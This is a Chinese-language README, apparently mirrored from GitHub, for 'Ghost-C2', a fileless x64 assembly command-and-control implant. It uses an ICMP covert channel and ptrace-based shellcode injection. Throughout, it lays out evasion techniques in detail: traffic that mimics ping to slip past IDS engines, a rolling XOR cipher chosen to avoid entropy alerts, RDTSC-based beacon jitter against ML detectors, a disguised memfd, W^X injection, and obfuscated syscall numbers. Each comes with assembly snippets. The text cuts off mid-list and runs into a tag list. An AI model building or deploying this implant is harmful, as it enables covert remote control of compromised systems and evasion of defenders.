JM00NJ/ICMP-Ghost-A-Fileless-x64-Assembly-C2-Agent
GitHub: JM00NJ/ICMP-Ghost-A-Fileless-x64-Assembly-C2-Agent
纯 x64 汇编编写的无文件 C2 植入程序,通过 ICMP 隧道和内存注入实现高隐蔽性的远程命令执行。
Stars: 47 | Forks: 4
```
________ ___ ___ ________ ________ _________ ________ ________
|\ ____\|\ \|\ \|\ __ \|\ ____\|\___ ___\ |\ ____\|\_____ \
\ \ \___| \ \ \\\ \ \ \|\ \ \ \___|\|___ \ \_| \ \ \___|\|____|\ \
\ \ \ __ \ \ __ \ \ \\\ \ \_____ \ \ \ \ \ \ \ ____\_\ \
\ \ \|\ \ \ \ \ \ \ \\\ \|____|\ \ \ \ \ \ \ \___|\____ \ \
\ \_______\ \__\ \__\ \_______\____\_\ \ \ \__\ \ \______\\_________\
\|_______|\|__|\|__|\|_______|\_________\ \|__| \|______\|_________|
\|_________|
```
# Ghost-C2
**一个无文件、纯 x64 汇编的 C2 植入程序,使用 ICMP 作为隐蔽通道。**
**无 libc。无磁盘写入。对标准 EDR 钩子不可见。**






## 概述
Ghost-C2 是一个完全使用**纯 x64 Linux 汇编**编写的命令与控制框架,无任何 libc 依赖。所有操作都通过直接系统调用完成。没有导入表,没有动态链接器痕迹,也没有磁盘写入。
C2 通道通过**原始 ICMP 套接字**运行,隐藏在标准诊断流量中。植入程序仅存在于 RAM 中,通过自定义的基于 ptrace 的加载器注入到运行中的系统进程中。
此项目旨在探索用户空间隐蔽性的极限,而不触及内核。
## 架构
```
┌─────────────────────────────────────────────────────────────┐
│ OPERATOR MACHINE │
│ │
│ ┌──────────────┐ │
│ │ client.asm │ ← Terminal UI: prompt for IP + command │
│ │ (Operator │ Encrypts payload with Rolling XOR │
│ │ Console) │ Sends ICMP Echo Request (Type 8) │
│ └──────┬───────┘ Auth key: ID + SEQ = 45,000 │
│ │ │
└──────────┼──────────────────────────────────────────────────┘
│ Raw ICMP (port-less, stateless)
│
┌──────────┼──────────────────────────────────────────────────┐
│ │ TARGET MACHINE │
│ ▼ │
│ ┌──────────────┐ ┌─────────────────────────────────┐ │
│ │ loader.asm │────▶│ sniff.asm (PIC) │ │
│ │ (Phantom │ │ Lives in RAM only │ │
│ │ Loader) │ │ inside host process │ │
│ └──────────────┘ └────────────────┬────────────────┘ │
│ │ │
│ 1. Scans /proc for target PID │ Receives ICMP Req │
│ 2. ptrace ATTACH │ Validates auth │
│ 3. Force remote mmap (RW) │ Decrypts command │
│ 4. Inject PIC shellcode │ fork+execve │
│ 5. mprotect → RX │ memfd_create │
│ 6. Redirect RIP → shellcode │ Sends ICMP Reply │
│ 7. ptrace DETACH → exits │ (Type 0, key: │
│ │ ID + SEQ = 55k) │
└─────────────────────────────────────────┼───────────────────┘
│ Raw ICMP
▼
[ client.asm ]
Receives chunks
Decrypts + prints
```
## 组件
### `client.asm` — 操作员控制台
攻击者一侧的终端。从 stdin 获取目标 IP 和命令,加密载荷,并作为 ICMP Echo Request 发送。监听分片的 ICMP Echo Reply 并重建输出。
### `sniff.asm` — PIC 植入程序代理
在目标上运行的植入程序。编译为**原始二进制文件**(位置独立,无 ELF 头),因此可以注入到任意内存地址。它:
- 在原始 ICMP 套接字上被动监听
- 使用非对称密钥和验证传入数据包
- 解密命令,fork 一个 shell,通过 `memfd_create` 捕获输出
- 分片并以 56 字节的 ICMP 块发回输出
### `Phantom_Loader/loader.asm` — 注入引擎
投递机制。扫描 `/proc`,按 `comm` 名称找到目标进程,并使用多阶段 ptrace 状态机将 PIC shellcode 注入其中。注入后干净退出——不留痕迹。
## 隐蔽与规避技术
### 协议模拟
每个传出的 ICMP 数据包都结构化为与标准 Linux `ping` 无法区分的样子:
```
Offset 0-7 : ICMP Header (Type, Code, Checksum, ID, SEQ)
Offset 8-15 : Dynamic RDTSC timestamp ← mimics struct timeval
Offset 16-31 : 0x10, 0x11 ... 0x1F ← exact Linux iputils padding
Offset 32+ : Encrypted payload ← past most DPI scan depth
```
基于签名的 IDS 引擎(Suricata、Snort)看到标准填充后,在到达载荷之前就停止扫描。这就是**隐蔽间隙**。
### 非对称认证
植入程序忽略所有 `ID + SEQ ≠ 45,000` 的数据包。随机互联网扫描器、自动化安全工具和蜜罐永远不会触发它。植入程序回复 `ID + SEQ = 55,000` 的数据包,使两个方向在数学上截然不同,防止 OS echo 混淆。
### 滚动 XOR 密码
两个方向都使用逐步移位的密钥加密:
```
mov dl, 0x42 ; seed
xor [rsi], dl ; encrypt byte
add dl, 0x07 ; shift key
inc rsi
loop .loop
```
这保持香农熵较低——AES 加密的 ICMP 流量得分约 8.0,会触发 DPI 异常警报。滚动 XOR 产生的熵看起来像压缩或自然噪声的数据。**没有密码学常量,没有 S 盒,没有 YARA 可匹配的内容。**
### 自适应抖动(基于 RDTSC)
数据包传输间隔使用 CPU 的硬件时间戳计数器随机化,而非软件计时器。这产生数学上非周期性的时序模式——基于 ML 的 NTA 引擎(Darktrace、Cisco Stealthwatch)需要周期性才能标记 C2 信标。
```
rdtsc
xor rdx, rdx
mov ecx, 900000000
div ecx ; RDX = random 0–900ms
add edx, 100000000 ; minimum 100ms
```
### 通过 `memfd_create` 无文件执行
命令输出从不接触磁盘:
```
fork()
child: dup2(memfd, stdout) → execve("/bin/sh", ["-c", cmd])
parent: wait4() → lseek(0) → read loop → fragment → send
```
memfd 命名为 `[shm]`,与 `/proc/PID/fd` 中合法共享内存映射的格式匹配。标准 `lsof` 输出显示不出任何可疑之处。
### W^X 内存注入(Phantom Loader)
现代内核缓解措施禁止 RWX 内存。加载器使用两阶段方法:
```
Phase 1: Remote mmap with PROT_READ | PROT_WRITE
→ Inject shellcode via PTRACE_POKEDATA
Phase 2: Remote mprotect → PROT_READ | PROT_EXEC
→ No page is ever simultaneously W and X
```
寻找 RWX 异常的 EDR 内存扫描器一无所获。
### 无 Libc 系统调用混淆
所有系统调用号分成两条指令,以击败静态分析和简单的基于 grep 的扫描器:
```
; sys_memfd_create (319)
mov rax, 300
add rax, 19
syscall
; sys_ptrace (101)
mov rax, 99
add rax, 2
syscall
```
## Phantom Loader — ptrace 注入链
加载器执行确定性的多步骤注入,无任何外部依赖:
```
1. Open /proc with sys_getdents64
2. Scan linux_dirent64 entries for numeric directories (PIDs)
3. Read /proc/标签:API接口, APT工具, DAST, DNS 反向解析, Hpfeeds, ICMP隧道, memfd_create, ptrace, Raspberry Pi, RAW socket, SSH蜜罐, x64汇编, 代理, 内存执行, 安全报告生成, 恶意软件, 恶意软件分析, 无文件攻击, 横向移动, 系统调用, 编程规范, 网络安全, 进程注入, 远控后门, 隐匿通信, 隐私保护